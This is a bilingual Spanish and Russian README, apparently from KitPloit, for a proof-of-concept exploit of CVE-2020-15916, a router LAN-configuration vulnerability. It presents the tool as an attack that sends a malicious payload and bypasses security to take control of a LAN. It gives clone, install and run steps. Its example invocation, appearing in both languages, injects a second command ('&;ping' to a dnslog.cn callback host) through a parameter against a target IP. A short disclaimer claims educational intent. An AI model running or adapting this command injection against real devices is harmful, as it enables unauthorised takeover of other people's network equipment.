EN

GenLANConfigAttack - es un PoC para explotar CVE-2020-15916, una vulnerabilidad que permite cambios no autorizados en la configuración LAN de un dispositivo.

Características

• Explota la vulnerabilidad de configuración LAN
• Envía un payload malicioso para alterar la configuración de red
• Evita los mecanismos de seguridad para obtener control sobre la LAN

Cómo usar

1. Clona este repositorio:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Instala las dependencias:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Ejecuta el exploit:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Parámetros

• target_ip: La dirección IP del dispositivo objetivo.
• ping_command: Comando para ejecutar en el dispositivo objetivo.
• session_password: Contraseña para el acceso a la sesión.

Ejemplo

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Response from 192.168.0.1]: 
{"success":true,"message":"LAN IP configuration updated successfully"}

Referencia CVE

Este PoC es para la vulnerabilidad CVE-2020-15916, que permite a los atacantes alterar la configuración LAN de dispositivos vulnerables explotando un mecanismo de autenticación débil.

Aviso legal

Esta herramienta se proporciona solo con fines educativos. Úsala de manera responsable y solo en entornos donde tengas permiso explícito.

RU

GenLANConfigAttack представляет собой PoC для эксплуатации уязвимости CVE-2020-15916, которая позволяет несанкционированно изменять конфигурацию LAN устройства.

Функции

• Использует уязвимость конфигурации LAN
• Отправляет вредоносный payload для изменения настроек сети
• Обходит механизмы безопасности для получения контроля над LAN

Как использовать

1. Клонируйте репозиторий:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Установите зависимости:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Запустите эксплойт:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Параметры

• target_ip: IP-адрес целевого устройства.
• ping_command: Команда для выполнения на целевом устройстве.
• session_password: Пароль для сессионного доступа.

Пример

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Ответ от 192.168.0.1]: 
{"success":true,"message":"Конфигурация LAN IP успешно обновлена"}

CVE-ссылка

Этот PoC эксплуатирует уязвимость CVE-2020-15916, которая позволяет злоумышленникам изменять конфигурацию LAN на уязвимых устройствах, используя слабую аутентификацию.

Отказ от ответственности

Этот инструмент предоставляется исключительно в образовательных целях. Используйте его ответственно и только в тех средах, где у вас есть явное разрешение.